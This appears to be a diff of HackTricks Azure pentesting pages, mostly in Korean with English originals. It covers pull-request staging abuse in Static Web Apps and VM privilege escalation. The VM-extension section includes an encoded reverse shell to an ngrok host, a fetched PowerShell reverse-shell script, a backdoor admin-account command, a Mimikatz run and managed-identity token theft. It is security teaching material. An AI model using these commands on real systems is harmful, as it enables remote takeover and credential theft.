--resource-group Resource_Group_1 # Resource group of the app
```
### Pull Requests
By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL.
기본적으로 동일한 리포지토리의 브랜치에서 Pull Requests는 자동으로 컴파일되고 스테이징 환경에서 빌드됩니다. 이는 리포지토리에 대한 쓰기 권한이 있는 공격자가 생산 브랜치(보통 `main`)의 브랜치 보호를 우회할 수 없지만 **악성 버전의 앱을 배포**하기 위해 악용될 수 있습니다.
The staging URL has this format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
스테이징 URL의 형식은 다음과 같습니다: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` : `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**.
> 기본적으로 외부 PR은 리포지토리에 최소 1개의 PR이 병합되지 않는 한 워크플로우를 실행하지 않습니다. 공격자는 리포지토리에 유효한 PR을 보내고 **그런 다음 악성 PR** 리포지토리에 보내 스테이징 환경에 악성 앱을 배포할 수 있습니다. 그러나 예상치 못한 보호가 있습니다. 정적 웹 앱에 배포하기 위한 기본 Github Action은 배포 토큰을 포함하는 비밀에 대한 액세스가 필요합니다(예: `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), 배포가 IDToken으로 수행되더라도 말입니다. 이는 외부 PR이 이 비밀에 접근할 수 없고 외부 PR이 PR이 수락되지 않고 임의의 토큰을 여기에 배치하기 위해 워크플로우를 변경할 수 없기 때문에 **이 공격은 실제로 작동하지 않을 것입니다**.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Azure Virtual Machines 및 Network에 대한 자세한 정보는 다음을 확
### **`Microsoft.Compute/virtualMachines/extensions/write`**
이 권한은 가상 머신에서 확장을 실행할 수 있게 하며, 이를 통해 **임의의 코드를 실행할 수 있니다**.\
이 권한은 가상 머신에서 확장을 실행할 수 있게 하 **임의의 코드를 실행할 수 있게 합니다**.\
VM에서 임의의 명령을 실행하기 위해 사용자 정의 확장을 악용하는 예:
{{#tabs }}
@@ -34,7 +34,7 @@ az vm extension set \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
```
- 인터넷에 위치한 스크립트 실행
- 인터넷에 위치한 스크립트 실행합니다.
```bash
az vm extension set \
--resource-group rsc-group> \
@@ -76,7 +76,7 @@ az vm extension set \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/33b6d1a80421694e85d96b2a63fd1924/raw/d0ef31f62aaafaabfa6235291e3e931e20b0fc6f/ps1_rev_shell.ps1"]}' \
--protected-settings '{"commandToExecute": "powershell.exe -ExecutionPolicy Bypass -File ps1_rev_shell.ps1"}'
```
다음과 같은 다른 페이로드를 실행할 수도 있습니다: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
다른 페이로드를 실행할 수도 있습니다: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
- VMAccess 확장을 사용하여 비밀번호 재설정
```bash
@@ -157,13 +157,13 @@ Set-AzVMDscExtension `
<summary>하이브리드 런북 워커</summary>
이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 자세한 내용은 [Automation Accounts service](../az-services/az-automation-account/index.html)를 확인하세요.
이것은 자동화 계정에서 VM에서 런북을 실행할 수 있도록 하는 VM 확장입니다. 더 많은 정보는 [Automation Accounts service](../az-services/az-automation-account/index.html)를 확인하세요.
</details>
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)`
이것들은 **새 갤러리 애플리케이션을 생성하고 VM 내에서 실행하기 위요한 권한**입니다. 갤러리 애플리케이션은 무엇이든 실행할 수 있으므로 공격자는 이를 악용하여 임의의 명령을 실행하는 VM 인스턴스를 손상시킬 수 있습니다.
이것들은 **새로운 갤러리 애플리케이션을 생성하고 VM 내에서 실행하기 위 권한**입니다. 갤러리 애플리케이션은 무엇이든 실행할 수 있으므로 공격자는 이를 악용하여 임의의 명령을 실행하는 VM 인스턴스를 손상시킬 수 있습니다.
마지막 2개의 권한은 애플리케이션을 테넌트와 공유함으로써 회피할 수 있습니다.
@@ -298,19 +298,19 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
### `Microsoft.Compute/virtualMachines/login/action`
이 권한은 사용자가 **VM에 SSH 또는 RDP를 통해 사용자로 로그인할 수 있도록** 허용합니다 (VM에서 Entra ID 인증이 활성화된 경우).
이 권한은 사용자가 **VM에 SSH 또는 RDP를 통해 사용자로 로그인할 수 있도록** 허용합니다 (VM에서 Entra ID 인증이 활성화되어 있는 한).
**SSH**를 통해 **`az ssh vm --name <vm-name> --resource-group <rsc-group>`**로 로그인하고, **RDP**를 통해 **정상 Azure 자격 증명**으로 로그인합니다.
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
이 권한은 사용자가 **VM에 SSH 또는 RDP를 통해 사용자로 로그인할 수 있도록** 허용합니다 (VM에서 Entra ID 인증이 활성화된 경우).
이 권한은 사용자가 **VM에 SSH 또는 RDP를 통해 사용자로 로그인할 수 있도록** 허용합니다 (VM에서 Entra ID 인증이 활성화되어 있는 한).
**SSH**를 통해 **`az ssh vm --name <vm-name> --resource-group <rsc-group>`**로 로그인하고, **RDP**를 통해 **정상 Azure 자격 증명**으로 로그인합니다.
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
### `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
이 모든 권한은 **특정 관리 ID로 VM을 생성하고** **포트를 열어두는** 데 필요합니다 (이 경우 22번 포트). 이를 통해 사용자는 VM을 생성하고 연결하여 **관리 ID 토큰을 훔쳐** 권한을 상승시킬 수 있습니다.
이 모든 권한은 **특정 관리 ID로 VM을 생성하고** **포트를 열어두는** 데 필요합니다 (이 경우 22번 포트). 이를 통해 사용자는 VM을 생성하고 연결하여 **관리 ID 토큰을 훔쳐** 권한을 상승시킬 수 있습니다.
상황에 따라 이 기술을 남용하기 위해 더 많거나 적은 권한이 필요할 수 있습니다.
```bash
@@ -349,9 +349,9 @@ az vm identity assign \
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
### Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write
이 권한은 가상 머신 사용자와 비밀번호를 변경하여 접근할 수 있도록 허용합니다:
이 권한은 가상 머신 사용자와 비밀번호를 변경하여 접근할 수 있게 해줍니다:
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
@@ -359,6 +359,22 @@ az vm user update \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".
이 권한은 디스크와 네트워크 인터페이스를 관리할 수 있게 해주며, 가상 머신에 디스크를 연결할 수 있게 해줍니다.
```bash
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll
# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>
```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
[**문서**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute)에 따르면, 이 권한은 관리자로서 Windows Admin Center를 통해 리소스의 OS를 관리할 수 있게 해줍니다. 따라서 이는 VMs를 제어하기 위해 WAC에 대한 접근을 제공하는 것 같습니다...